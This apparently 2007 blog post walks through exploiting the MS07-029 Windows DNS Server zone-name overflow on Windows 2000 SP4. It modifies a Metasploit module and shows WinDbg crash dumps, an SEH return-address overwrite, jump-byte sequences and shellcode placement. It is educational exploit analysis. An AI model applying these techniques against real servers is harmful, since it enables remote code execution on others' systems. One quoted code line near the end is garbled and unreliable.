Software Vulnerability Exploitation Blog

Saturday, June 23, 2007

MS07-029 Series - Part 1: Exploiting the DNS Server holes on Windows 2000 Server SP4

I start this exploitation research series is because of the varieties of technique. Especially in Windows Server 2003 platform, you will see the various technique used to bypass the protection . However, I will explain how to exploit this vulnerability on Windows 2000 Server SP4 in this post and describe Windows Server 2003 in next posts.

For the first example, I will use the exploit from metasploit, windows/dcerpc/msdns_zonename.rb. I change the following things of the exploit module:

  • Return address: from 0x75022ac4 to 0x41414141
  • The random alphanumeric buffer to 8192 bytes of “\x42”
  • The payload.encoded to series of “\x43”

(140.320): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0009adc5 ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a1039
eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
dns!extractQuotedChar+0x38:
0101c68d 880a mov byte ptr [edx],cl ds:0023:00a60000=??

DNS server crash with access violation – try to write to memory address point by edx – 0x00a60000. I continue run the debugger by press ‘p’ :

ntdll!KiUserExceptionDispatcher+0x4:
77f91bbc 8b1c24 mov ebx,dword ptr [esp] ss:0023:00a5f570=00a5f578

ntdll!KiUserExceptionDispatcher+0x7:
77f91bbf 51 push ecx

ntdll!KiUserExceptionDispatcher+0x8:
77f91bc0 53 push ebx

ntdll!KiUserExceptionDispatcher+0x9:
77f91bc1 e8ecaf0100 call ntdll!RtlDispatchException (77facbb2)

(140.320): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00a5f550 ebx=00a5fd54 ecx=41414141 edx=77fbb286 esi=00a5f578 edi=000a1039
eip=41414141 esp=00a5f4b8 ebp=00a5f4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
41414141 ?? ???

The process try to call exception handler and end up with access violation at 0x41414141 – the return address that I change. Then, I investigate the other registers and found that the ebx register is the interesting one:

0:007> dd ebx
00a5fd54 424206eb 41414141 fffb3ae9 424242ff
00a5fd64 42424242 42424242 42424242 42424242
00a5fd74 42424242 42424242 42424242 42424242
00a5fd84 42424242 42424242 42424242 42424242

The ebx register point to near the serie of “\x42” byte which is our buffer. I disassemble 0x00a5fd54 – the address pointed by ebx:

0:007> u ebx
00a5fd54 eb06 jmp 00a5fd5c
00a5fd56 42 inc edx
00a5fd57 42 inc edx
00a5fd58 41 inc ecx
00a5fd59 41 inc ecx
00a5fd5a 41 inc ecx
00a5fd5b 41 inc ecx
00a5fd5c e93afbffff jmp 00a5f89b

The first 2 bytes of payload pointed by ebx is “eb 06” which means jump forward 6 bytes – jump to 0x00a5fd5c. At the address 0x00a5fd5c, the instruction “e93affbffff” means jump back 1222 bytes. These instructions are written in the module like these:

txt[ off - 4, 2] = "\xeb\x06" :

and

txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')

When the program jump back 1222 bytes, it will jump to the address 0x00a5f89b:

0:007> dd 00a5f89b
00a5f89b 43434343 43434343 43434343 43434343
00a5f8ab 43434343 43434343 43434343 43434343
00a5f8bb 43434343 43434343 43434343 43434343
00a5f8cb 43434343 43434343 43434343 43434343

Oh.. it is our shellcode. As you can see, if I change the return address to the address that hold the instruction to jump to ebx register, the flow of execution will reach to our shellcode.

I change back the return address to 0x75022ac4 , pop esi – pop ebx – ret instruction, and change shellcode to “\xcc” – break instruction. I rerun the exploit:

(120.1dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000a1c3a ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a7eae
eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
dns!extractQuotedChar+0x38:
0101c68d 880a mov byte ptr [edx],cl ds:0023:00a60000=??

0:007> g
(120.1dc): Break instruction exception - code 80000003 (first chance)
eax=00a5f550 ebx=00a5f578 ecx=75022ac4 edx=77fbb286 esi=77fbb272 edi=000a7eae
eip=00a5f89b esp=00a5f4c4 ebp=00a5f4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00a5f89b cc int 3

Got it !!. Our shellcode is execute at 0x00a5f89b.

Now I have some question in my mind. Do we have to put the shellcode at the start of the buffer and the jump back to it ? Could we put the shellcode after the return address ?

To answer this question, I modify the exploit module to put the shellcode after the return address

newpayload = "\xcc" * payload.encoded.length
txt[off + 4, newpayload.length] = newpayload

and comment this line

txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')

This is the result:

(2d4.338): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000a1a31 ebx=00a60001 ecx=00005042 edx=00a60000 esi=00a5f89a edi=000a7ca5
eip=0101c68d esp=00a5f860 ebp=00a5f884 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
dns!extractQuotedChar+0x38:
0101c68d 880a mov byte ptr [edx],cl ds:0023:00a60000=??

0:007> g
(2d4.338): Break instruction exception - code 80000003 (first chance)
eax=00a5f550 ebx=00a5f578 ecx=75022ac4 edx=77fbb286 esi=77fbb272 edi=000a7ca5
eip=00a5fd5c esp=00a5f4c4 ebp=00a5f4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00a5fd5c cc int 3

Yeah, the shellcode is executed same as the first one.

0:007> dd eip - 8
00a5fd54 424206eb 75022ac4 cccccccc cccccccc
00a5fd64 cccccccc cccccccc cccccccc cccccccc
00a5fd74 cccccccc cccccccc cccccccc cccccccc
00a5fd84 cccccccc cccccccc cccccccc cccccccc

0:007> u eip - 8
00a5fd54 eb06 jmp 00a5fd5c
00a5fd56 42 inc edx
00a5fd57 42 inc edx
00a5fd58 c42a les ebp,fword ptr [edx]
00a5fd5a 0275cc add dh,byte ptr [ebp-34h]
00a5fd5d cc int 3
00a5fd5e cc int 3
00a5fd5f cc int 3

Note: you may wonder what’s the function of this code in the exploit module:

# Convert the string to escaped octal
txt.unpack('C*').each do |c|
req << "\\" req <<>

This code convert our buffer to the octal data. Why we have to convert the buffer to the octal buffer ? The answer is that if we don’t have the ‘\’ that represent the octal number, the vulnerable function – extractQuotedChar() will be never called.